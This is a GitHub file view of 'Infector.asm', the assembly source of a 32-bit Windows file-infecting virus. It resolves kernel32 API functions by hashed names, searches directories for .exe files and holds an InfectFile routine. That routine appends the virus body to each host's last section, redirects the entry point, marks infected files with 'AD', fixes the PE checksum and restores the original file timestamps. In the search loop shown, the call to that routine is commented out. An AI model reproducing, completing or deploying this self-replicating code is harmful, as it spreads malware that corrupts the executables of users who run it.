-
Notifications
You must be signed in to change notification settings - Fork 3
/
Infector.asm
730 lines (589 loc) · 31.2 KB
/
Infector.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
%include "io.inc"
%include "./common.inc"
virusLen equ endOfVirus - startOfVirus
COUNT equ 100000
global _main
struc DATA
.EIP: resd 1
; kernel data
.kernelAddress: resd 1
.nFunctions: resd 1
.functionsAddr: resd 1
.namesAddr: resd 1
.ordinalsAddr: resd 1
; API method addresses
.functionIndex: resd 1
.addressStart:
.CloseHandle: resd 1
.CreateFileA: resd 1
.CreateFileMappingA: resd 1
.FindClose: resd 1
.FindFirstFileA: resd 1
.FindNextFileA: resd 1
.GetCurrentDirectoryA: resd 1
.GetFileAttributesA: resd 1
.GetFileSize: resd 1
.GetFileTime: resd 1
.GetStdHandle: resd 1
.MapViewOfFile: resd 1
.SetEndOfFile: resd 1
.SetFileAttributesA: resd 1
.SetFilePointer: resd 1
.SetFileTime: resd 1
.UnmapViewOfFile: resd 1
.WriteFile: resd 1
; directory listing data
.findData: resb FIND_DATA.size
.findHandle: resd 1
.counter: resd 1 ; COUNT
.searchPath: resb MAX_PATH_LENGTH
.edi: resd 1
; infection data
.fileAlign: resd 1
.memoryToReserve: resd 1
.infectionFlag: resd 1
.fileAttributes: resd 1
.newFileSize: resd 1
.fileHandle: resd 1
.lastWriteTime: resq 1
.lastAccessTime: resq 1
.creationTime: resq 1
.mapHandle: resd 1
.mapAddress: resd 1
.PEHeader: resd 1
.oldEntryPoint: resd 1
.newEntryPoint: resd 1
.imageBase: resd 1
.oldLastSectionRawSize: resd 1
.newLastSectionRawSize: resd 1
.incRawSize: resd 1
.codeHeaderAddress: resd 1
.lastHeaderAddress: resd 1
.diskEP: resd 1
.virusAddress: resd 1
.virusLocation: resd 1
.oldVSOfLast: resd 1
; payload data
.overlapped: resb OVERLAPPED.size
.size:
endstruc
section .text
_main:
mov eax, virusLen ; REMOVE
startOfVirus:
call anchor ; retrieve current location (valeu of EIP)
anchor:
pop eax
; create stack frame for the local variables
push ebp ; save old ebp
sub esp, DATA.size ; allocate local variables
mov ebp, esp ; set ebp for variable indexing
mov [ebp + DATA.EIP], eax ; save value of EIP
; Figure out kernel32.dll's location
mov edi, [FS : 0x30] ; PEB
mov edi, [edi + 0x0C] ; PEB->Ldr
mov edi, [edi + 0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
mov edi, [edi] ; 2nd Entry
mov edi, [edi] ; 3rd Entry
mov edi, [edi + 0x10] ; Third entry's base address (Kernel32.dll)
mov [ebp + DATA.kernelAddress] , edi
mov eax, [edi + 0x3C] ; kernelAddress points to the DOS header, read PE RVA at 0x3C
add eax, edi ; eax has the virtual address of the PE header
mov eax, [eax + 0x78] ; The export table RVA is at 0x78 from the start of PE header
add eax, edi ; eax has the virtual address of the export table
mov esi, [eax + 0x1C] ; RVA of array of function RVAs is at 0x1c
add esi, edi ; convert to virtual address
mov [ebp + DATA.functionsAddr], esi ; save
mov esi, [eax + 0x24] ; RVA of array of function ordinals is at 0x24
add esi, edi ; convert to virtual address
mov [ebp + DATA.ordinalsAddr], esi ; save
mov ecx, [eax + 0x14] ; The number of functions is at 0x14 in the export table
mov [ebp + DATA.nFunctions], ecx ; ecx is the loop counter
mov esi, [eax + 0x20] ; RVA of array of function name RVAs is at 0x20 (pointers to zero-terminated strings)
add esi, edi ; convert to virtual address
mov [ebp + DATA.namesAddr], esi ; save
and [ebp + DATA.functionIndex], dword 0 ; clear the function index
loopOverNames:
; compute the hash of the name
push esi
mov esi, [esi] ; read the pointer to the name string
add esi, edi ; convert to virtual address
xor ebx, ebx ; the hash code will be computed in ebx
xor eax, eax ; the next character
hashLoop:
lodsb
or al, al ; same as 'cmp cl, 0'
jz hashDone
mov edx, ebx ; save old hash
shl ebx, 5 ; multiply by 32
sub ebx, edx ; subtract a hash, i.e. multiply by 31
add ebx, eax ; add the next character
jmp hashLoop
hashDone:
pop esi
; see if this is a function we actually need
mov edx, [ebp + DATA.functionIndex] ; read the current function index
mov eax, [ebp + DATA.EIP] ; read EIP of virus start
cmp ebx, [eax + (hashStart - anchor) + 4 * edx] ; compare computed hash with current function hash
jne discard ; if does not match, move on
; we have a match, compute and save the address
mov eax, [ebp + DATA.nFunctions] ; compute index of function name
sub eax, ecx
shl eax, 1 ; multiply index by 2
add eax, [ebp + DATA.ordinalsAddr] ; compute address of ordinal
xor ebx, ebx
mov bx, word [eax] ; read ordinal
shl ebx, 2 ; prepare to read function address, multiply ordinal by 4
add ebx, [ebp + DATA.functionsAddr] ; compute address of function address
mov ebx, [ebx] ; read function RVA
add ebx, edi ; convert to virtual address
mov [ebp + DATA.addressStart + 4 * edx], ebx ; save the address
inc dword [ebp + DATA.functionIndex] ; increment the function index
discard:
add esi, 4
dec ecx
jnz loopOverNames
NOPS
; Now we begin with the business of infecting some files
;; ====================================================================================
; initialize local variables
mov [ebp + DATA.counter], dword COUNT
; push current directory onto the stack
sub esp, MAX_PATH_LENGTH ; make space on the stack
push esp ; buffer
push MAX_PATH_LENGTH ; buffer size
call [ebp + DATA.GetCurrentDirectoryA] ; the path length is returned in eax
mov [esp + eax], dword "\.." ; go one step up
next_dir:
cmp ebp, esp ; check if the path stack is empty
je search_done
mov esi, esp ; pop path off the stack and copy into searchPath
lea edi, [ebp + DATA.searchPath]
add esp, MAX_PATH_LENGTH
call strcpy
mov eax, 0x00002A5C ; append the file mask "\*"
stosd ; this moves esi by 4
mov [ebp + DATA.edi], edi ; save edi for later
lea edx, [ebp + DATA.findData] ; find the first file
push edx
lea edx, [ebp + DATA.searchPath]
push edx
call [ebp + DATA.FindFirstFileA]
cmp eax, -1 ; invalid handle?
je next_dir ; no need to close the search, just move on
mov [ebp + DATA.findHandle], eax
jmp process_file ; else process the file
next_file:
lea edx, [ebp + DATA.findData]
push edx
push dword [ebp + DATA.findHandle]
call [ebp + DATA.FindNextFileA]
or eax, eax ; same as "cmp eax, 0"
je close_search
process_file:
; skip '.' and '..' directories
mov ax, word [ebp + DATA.findData + FIND_DATA.cFileName]
cmp ax, word 0x002e ; "."
je next_file
cmp ax, word 0x2e2e ; ".."
je next_file
mov edi, [ebp + DATA.edi] ; restore edi
sub edi, 4 ; remove last 4 bytes added (\*00)
mov al, 0x5C ; append "\"
stosb
lea esi, [ebp + DATA.findData + FIND_DATA.cFileName] ; append fileName
call strcpy
stosb ; append 0 terminator
bt dword [ebp + DATA.findData + FIND_DATA.dwFileAttributes], 4 ; check if a directory, see DIRECTORY const
jc dir
; its a file, check if .exe
cmp [edi - 5], dword ".exe" ; TODO obfuscate this
jne next_file
; it is .exe, infect
PRINTS "FILE", [ebp + DATA.searchPath]
; call InfectFile
dec dword [ebp + DATA.counter] ; decrement counter and loop again
jz search_done
jmp next_file
dir:
sub esp, MAX_PATH_LENGTH
lea esi, [ebp + DATA.searchPath]
mov edi, esp
call strcpy
stosb ; append 0 terminator
jmp next_file
close_search:
push dword [ebp + DATA.findHandle]
call [ebp + DATA.FindClose]
jmp next_dir
search_done:
%if DEBUG
mov eax, COUNT
sub eax, [ebp + DATA.counter]
PRINTD "counter", eax
%endif
NOPS
;; Now the payload of the virus
;; ====================================================================================
push -11 ; hStdOut = GetstdHandle(STD_OUTPUT_HANDLE)
call [ebp + DATA.GetStdHandle]
mov edx, eax ; copy the stdout handle in ebx
; WriteFile( hFile, lpBuffer, nNumberOfBytesToWrite, &lpNumberOfBytesWritten, lpOverlapped);
xor eax, eax ; 0x00000000
not eax ; 0xFFFFFFFF
mov [ebp + DATA.overlapped + OVERLAPPED.offset], eax ; set offset to 0xFFFFFFFF
mov [ebp + DATA.overlapped + OVERLAPPED.offsetHigh], eax ; set offsetHigh to 0xFFFFFFFF
lea eax, [ebp + DATA.overlapped]
push eax ; lpOverlapped
push NULL ; &lpNumberOfBytesWritten
push message_end - message ; nNumberOfBytesToWrite
mov eax, [ebp + DATA.EIP]
add eax, message - anchor
push eax ; lpBuffer
push edx ; stdout handle
call [ebp + DATA.WriteFile]
add esp, DATA.size ; de-allocate local variables
pop ebp ; restore stack
jmp endOfVirus ; Get the fuck out
;; HELPER FUNCTIONS
;; ====================================================================================
InfectFile:
NOPS
pushad ; Save all registers
xor edi, edi
mov [ebp + DATA.infectionFlag], di ; Reset the infection flag
mov ecx, [ebp + DATA.findData + FIND_DATA.nFileSizeLow] ; read file size (lower 4 bytes)
PRINTD "originalFileSize", ecx
mov [ebp + DATA.newFileSize], ecx ; Save file size, old size at this point
add ecx, virusLen + 1000h ; ECX = victim filesize + virus + 1000h
mov [ebp + DATA.memoryToReserve], ecx ; Memory to map
;; save the original attributes
lea ebx, [ebp + DATA.searchPath]
push ebx ; Address to filename
call [ebp + DATA.GetFileAttributesA] ; Get the file attributes
cmp eax, edi
mov [ebp + DATA.fileAttributes], eax
PRINTH "fileAttributes", eax
;; set the nomral attributes to the file
push 80h ; 80h = FILE_ATTRIBUTE_NORMAL
lea ebx, [ebp + DATA.searchPath]
push ebx ; Address to filename
call [ebp + DATA.SetFileAttributesA] ; Get the file attributes
;; open the file
push edi ; File template
push edi ; File attributes
push 3 ; Open existing file
push edi ; Security option = default
push 1 ; File share for read
push GENERIC_READ | GENERIC_WRITE ; General write and read
lea ebx, [ebp + DATA.searchPath]
push ebx ; Address to filename
call [ebp + DATA.CreateFileA] ; create the file
; EAX = file handle
mov [ebp + DATA.fileHandle], eax ; Save file handle
cmp eax, -1 ; error ?
je OutOfHere ; cant open the file ?
PRINTH "fileHandle", eax
;; save File creation time, Last write time, Last access time
lea ebx, [ebp + DATA.lastWriteTime] ; TODO add instructions might be better
push ebx
lea ebx, [ebp + DATA.lastAccessTime]
push ebx
lea ebx, [ebp + DATA.creationTime]
push ebx
mov ebx, [ebp + DATA.fileHandle]
push ebx
call [ebp + DATA.GetFileTime] ; save time fields FIXME
;; create file mapping for the file
xor eax, eax
push edi ; Filename handle = NULL
push dword [ebp + DATA.memoryToReserve] ; Max size
push edi ; Min size (no need)
push 4 ; Page read and write
push edi ; Security attributes
push dword [ebp + DATA.fileHandle] ; File handle
call [ebp + DATA.CreateFileMappingA] ; map file to memory ; EAX = new map handle
PRINTD "FileMapping handle", eax
mov [ebp + DATA.mapHandle], eax ; Save map handle
cmp eax, edi ; Error ?
je CloseFile ; Cant map file ?
;; map the view of that file
PRINTD "memoryToReserve", [ebp + DATA.memoryToReserve]
push dword [ebp + DATA.memoryToReserve] ; # Bytes to map
push edi ; File offset low
push edi ; File offset high
push 2 ; File Map Write Mode
push dword [ebp + DATA.mapHandle] ; File Map Handle
call [ebp + DATA.MapViewOfFile] ; map file to memory
cmp eax, edi ; Error ?
je CloseMap ; Cant map view of file ?
mov esi, eax ; ESI = base of file mapping
mov [ebp + DATA.mapAddress], esi ; Save base of file mapping
PRINTH "fileMapAddress", esi
;; check whether the mapped file is a PE file and see if its already been infected
cmp word [esi + DOS.signature], ZM ; 'ZM' Is it an EXE file ? (ie Does it have 'MZ' at the beginning?)
jne UnmapView ; Error ?
cmp word [esi + AD_OFFSET], AD ; 'AD' ; Already infected ?
jne OkGo ; Is it a PE EXE file ?
mov word [ebp + DATA.infectionFlag], AD ; Mark it
jmp UnmapView ; Error ?
OkGo:
mov ebx, [esi + DOS.lfanew] ; EBX = PE Header RVA
cmp word [esi + ebx], EP ; 'EP' ; Is it a PE file ?
jne UnmapView ; Error ?
;; If the file is not EXE, is already infected or is not a PE file, we proceed to
;; unmap the view of file, otherwise parse the PE Header.
add esi, ebx ; (ESI points to PE header now)
mov [ebp + DATA.PEHeader], esi ; Save PE header
cmp [esi + PE.Machine], word INTEL386 ; read machine field in PE Header, 0x014c = Intel 386
jnz UnmapView ; if not 32 bit, then error and quit
mov eax, [esi + PE.AddressOfEntryPoint]
mov [ebp + DATA.oldEntryPoint], eax ; Save Entry Point of file
mov eax, [esi + PE.ImageBase] ; Find the Image Base
mov [ebp + DATA.imageBase], eax ; Save the Image Base
mov eax, [esi + PE.FileAlignment]
mov dword [ebp + DATA.fileAlign], eax ; Save File Alignment ; (EAX = File Alignment)
PRINTH "fileAlign", eax
mov ebx, [esi + PE.NumberOfRvaAndSizes] ; Number of directories entries, PE + 0x74
shl ebx, 3 ; * 8 (size of data directories)
add ebx, PE.size ; add size of PE header
add ebx, [ebp + DATA.PEHeader] ; EBX = address of the .text section
mov [ebp + DATA.codeHeaderAddress], ebx ; save codeHeaderAddress
;; Locate the last section in the PE
push esi
mov ebx, [esi + PE.NumberOfRvaAndSizes] ; Number of directories entries
shl ebx, 3 ; * 8 (size)
xor eax, eax
mov ax, word [esi + PE.NumberOfSections] ; AX = number of sections
dec eax ; Look for the last section ending
mov ecx, SECTIONH.size ; ECX = size of sections header
mul ecx ; EAX = ECX * EAX
add esi, PE.size
add esi, ebx
add esi, eax ; ESI = Pointer to the last section header
mov [ebp + DATA.lastHeaderAddress], esi
mov ebx, [ebp + DATA.codeHeaderAddress] ; EBX points to the code header
mov eax, [ebx + SECTIONH.PointerToRawData] ; pointer to raw data of code segment
add eax, [ebx + SECTIONH.VirtualSize] ; virtual size of code segment
mov [ebp + DATA.diskEP], eax ; where exectuable code is (entryPoint will jump here)
mov eax, [ebp + DATA.imageBase] ; ESI = Pointer to the last section header
add eax, [esi + SECTIONH.VirtualAddress] ; VirtualAddress
add eax, [esi + SECTIONH.VirtualSize] ; VirtualSize
mov [ebp + DATA.virusAddress], eax
mov eax, [esi + SECTIONH.PointerToRawData] ; reading PointerToRawData
add eax, [esi + SECTIONH.VirtualSize] ; reading VirtualSize
mov [ebp + DATA.virusLocation], eax
pop ebx ; restore old PE header into ebx
or dword [esi + SECTIONH.Characteristics], CODE | GENERIC_EXECUTE ; Set [CWE] flags (CODE)
;; The flags tell the loader that the section now
;; has executable code and is writable
mov eax, [esi + SECTIONH.SizeOfRawData] ; EAX = size of raw data in this section (ESI = Pointer to the last section header)
mov [ebp + DATA.oldLastSectionRawSize], eax ; Save it
mov ecx, [esi + SECTIONH.VirtualSize]
mov [ebp + DATA.oldVSOfLast], ecx
add dword [esi + SECTIONH.VirtualSize], virusLen ; Increase virtual size
PRINTD "oldLastSectionRawSize", [ebp + DATA.oldLastSectionRawSize]
;; Update ImageBase
;mov eax, [esi + SECTIONH.VirtualSize] ; Get new size in EAX
;add eax, [esi + SECTIONH.VirtualAddress] ; + section rva
;mov [ebx + PE.SizeOfImage], eax ; Save SizeOfImage
;; The size of raw data is the actual size of the
;; data in the section, The virtual size is the one
;; we must increase with our virus size, Now after
;; the increasing, lets check how much did we mess
;; the file align, To do that we divide the new size
;; to the filealign value and we get as a reminder
;; the number of bytes to pad
mov eax, [esi + SECTIONH.VirtualSize] ; Get new size in EAX
mov ecx, [ebp + DATA.fileAlign] ; ECX = File alignment
div ecx ; Get remainder in EDX
mov ecx, [ebp + DATA.fileAlign] ; ECX = File alignment
sub ecx, edx ; Number of bytes to pad
mov [esi + SECTIONH.SizeOfRawData], ecx ; Save it
;; Now size of raw data = number of bytes to pad
mov eax, [esi + SECTIONH.VirtualSize] ; Get current VirtualSize
add eax, [esi + SECTIONH.SizeOfRawData] ; EAX = SizeOfRawdata padded
mov [esi + SECTIONH.SizeOfRawData], eax ; Set new SizeOfRawdata
;; Now size of raw data = old virtual size + number of bytes to pad
mov [ebp + DATA.newLastSectionRawSize], eax ; Save it
PRINTD "newLastSectionRawSize", [ebp + DATA.newLastSectionRawSize]
;; The virus will be at the end of the section, In
;; order to find its address we have the following formula:
;; VirtualAddress + VirtualSize - VirusLength + RawSize = VirusStart
mov eax, [ebp + DATA.codeHeaderAddress]
mov ebx, [ebp + DATA.codeHeaderAddress]
mov eax, [ebx + SECTIONH.VirtualAddress] ; Reading code segment's RVA
add eax, [ebx + SECTIONH.VirtualSize] ; Add the size of the segment
mov [ebp + DATA.newEntryPoint], eax ; EAX = new EIP, and save it
;; Here we compute with how much did we increase the size of raw data
mov eax, [ebp + DATA.oldLastSectionRawSize] ; Original SizeOfRawdata
mov ebx, [ebp + DATA.newLastSectionRawSize] ; New SizeOfRawdata
sub ebx, eax ; Increase in size
mov [ebp + DATA.incRawSize], ebx ; Save increase value
;; Compute the new file size
mov eax, [esi + SECTIONH.PointerToRawData] ; Read PointerToRawData from last section's header
PRINTD "PointerToRawData", eax
add eax, [ebp + DATA.newLastSectionRawSize] ; Add size of new raw data
mov [ebp + DATA.newFileSize], eax ; EAX = new filesize, and save it
PRINTD "newFileSize", [ebp + DATA.newFileSize]
;; Now prepare to copy the virus to the host, The formulas are
mov eax, [ebp + DATA.diskEP] ; Align in memory to map address
add eax, [ebp + DATA.mapAddress]
mov [eax], byte JMP_NR ; relative near jump instruction
mov ebx, [ebp + DATA.lastHeaderAddress]
mov ebx, [ebx + SECTIONH.VirtualAddress] ; lastSegment address
PRINTH "lastSegment address", ebx
mov ecx, [ebp + DATA.codeHeaderAddress]
sub ebx, [ecx + SECTIONH.VirtualAddress] ; - codeSegment address
PRINTH "codeSegment address", [ecx]
add ebx, [ebp + DATA.oldVSOfLast] ; + lastSegment size
PRINTH "lastSegment size", [ecx]
mov ecx, [ebp + DATA.codeHeaderAddress] ; ECX points to the code header
sub ebx, [ecx + SECTIONH.VirtualSize] ; - codeSegment size
PRINTH "codeSegment size", [ecx]
sub ebx, JMP_NR_BYTES ; subtract length of the jump instruction (it takes up 5 bytes of space)
mov [eax + 1], ebx ; write the 4 byte address of the JMP
PRINTH "relative address jump", ebx
mov edi, [ebp + DATA.virusLocation] ; Location to copy the virus to
add edi, [ebp + DATA.mapAddress]
mov eax, [ebp + DATA.EIP]
lea esi, [eax - JMP_NR_BYTES] ; Location to copy the virus from
mov ecx, virusLen ; Number of bytes to copy
rep movsb ; Copy all the bytes
mov eax, virusLen
PRINTD "virusLen", eax
add eax, [ebp + DATA.virusLocation]
add eax, [ebp + DATA.mapAddress]
; Transfer execution to the host entry point
mov ecx, [ebp + DATA.codeHeaderAddress]
add ebx, [ecx + SECTIONH.VirtualSize] ; add Size of CodeSegment
sub ebx, [ebp + DATA.oldEntryPoint] ; subtract old entry point
add ebx, 0x1000 ; correct for BaseOfCode
add ebx, 2*JMP_NR_BYTES ; correct for 2 near JMPs (2 x 5 bytes)
add ebx, virusLen ; add virusLength
neg ebx
mov [eax], byte JMP_NR ; relative near jump instruction
mov [eax + 1], ebx ; write the 4 byte address of the JMP
;; Now increase the size of the code segment by the length of the JMP instruction (5 bytes)
add dword [ecx + SECTIONH.VirtualSize], JMP_NR_BYTES
;; Now, lets alter the PE header by marking the new IP, increasing the total
;; size of the files image with the increasing of the last section
mov esi, [ebp + DATA.PEHeader] ; ESI = Address of PE header
mov eax, [ebp + DATA.newEntryPoint] ; Get value of new EIP in EAX
mov [esi + PE.AddressOfEntryPoint], eax ; Write it to the PE header
;; Now, lets mark the file as infected
mov esi, [ebp + DATA.mapAddress]
mov word [esi + AD_OFFSET], AD ;'AD' ; Mark file as infected
;; Now recompute the PE checksum
mov edx, [ebp + DATA.PEHeader] ; EDX = Address of PE header
mov eax, [edx + PE.CheckSum]
PRINTH "oldChecksum", eax
mov [edx + PE.CheckSum], dword 0 ; clear the old checksum
mov edx, [ebp + DATA.mapAddress]
mov ecx, [ebp + DATA.newFileSize]
call PECheckSum
mov edx, [ebp + DATA.PEHeader] ; save the new checksum
mov [edx + PE.CheckSum], eax
PRINTH "newChecksum", eax
UnmapView:
push dword [ebp + DATA.mapAddress]
call [ebp + DATA.UnmapViewOfFile]
CloseMap:
push dword [ebp + DATA.mapHandle]
call [ebp + DATA.CloseHandle]
CloseFile:
lea ebx, [ebp + DATA.lastWriteTime]
push ebx
lea ebx, [ebp + DATA.lastAccessTime]
push ebx
lea ebx, [ebp + DATA.creationTime]
push ebx
mov ebx, [ebp + DATA.fileHandle]
push ebx
call [ebp + DATA.SetFileTime] ; set time fields FIXME
;; In order to properly close the file we must set its EOF at the exact end
;; of file, So first we move the pointer to the end and set the EOF
push 0 ; First we must set the file
push NULL ; Pointer at the end of file (that is the beginning + new file size)
push dword [ebp + DATA.newFileSize]
push dword [ebp + DATA.fileHandle]
call [ebp + DATA.SetFilePointer]
push dword [ebp + DATA.fileHandle]
call [ebp + DATA.SetEndOfFile]
;; And finaly we close the file
push dword [ebp + DATA.fileHandle]
call [ebp + DATA.CloseHandle]
;; Then we must restore file attributes
push dword [ebp + DATA.fileAttributes]
lea ebx, [ebp + DATA.searchPath]
push ebx ; Push the address of the search record
call [ebp + DATA.SetFileAttributesA]
InfectionSuccessful:
cmp word[ebp + DATA.infectionFlag], AD
je OutOfHere
OutOfHere:
popad ; Restore all registers
retn
NOPS
;; Calculates the checksum that is to be stored in the PE header
;; Input: edx - buffer pointer, ecx - buffer length
;; Output: eax - the checksum
PECheckSum:
push ecx ; save the length for later
shr ecx, 2 ; we're summing DWORDs, not bytes
xor eax, eax ; EAX holds the checksum
clc ; Clear the carry flag ready for later...
theLoop: ; the file is being iterated backwards
adc eax, [edx + (ecx * 4) - 4]
dec ecx
jnz theLoop
mov ecx, eax ; EDX = EAX - the checksum
shr ecx, 16 ; EDX = checksum >> 16 EDX is high order
and eax, 0xFFFF ; EAX = checksum & 0xFFFF EAX is low order
add eax, ecx ; EAX = checksum & 0xFFFF + checksum >> 16 High Order Folded into Low Order
mov ecx, eax ; EDX = checksum & 0xFFFF + checksum >> 16
shr ecx, 16 ; EDX = EDX >> 16 EDX is high order
add eax, ecx ; EAX = EAX + EDX High Order Folded into Low Order
and eax, 0xFFFF ; EAX = EAX & 0xFFFF EAX is low order 16 bits
pop ecx ; restore original file length
add eax, ecx ; add the file size
retn
; Copies a zero terminated string from esi to edi
; Input : esi - pointer to source, edi - pointer to destination
; Output: al = 0 so string can be terminated simply by doing 'stosb'!
strcpy:
lodsb
cmp al, 0
jz end_strcpy
stosb
jmp strcpy
end_strcpy:
retn
NOPS
;; Constant data section
;; ====================================================================================
message: db 'Good morning America!', 10
message_end:
hashStart:
CloseHandle: dd 0x59e68620
CreateFileA: dd 0x44990e89
CreateFileMappingA: dd 0xa481360b
FindClose: dd 0x8f86c39f
FindFirstFileA: dd 0x79e4b02e
FindNextFileA: dd 0x853fd939
GetCurrentDirectoryA: dd 0xa4ab4137
GetFileAttributesA: dd 0xbcd7bc98
GetFileSize: dd 0xb36c10f3
GetFileTime: dd 0xb36c83bf
GetStdHandle: dd 0xe0557795 ; delete
MapViewOfFile: dd 0xcbee3954
SetEndOfFile: dd 0xbdca5e8c
SetFileAttributesA: dd 0xf3ae560c
SetFilePointer: dd 0x8dce837f
SetFileTime: dd 0xae24e4cb
UnmapViewOfFile: dd 0x7f75f35b
WriteFile: dd 0x2398d9db ; delete
NOPS
endOfVirus:
push 0
call _ExitProcess@4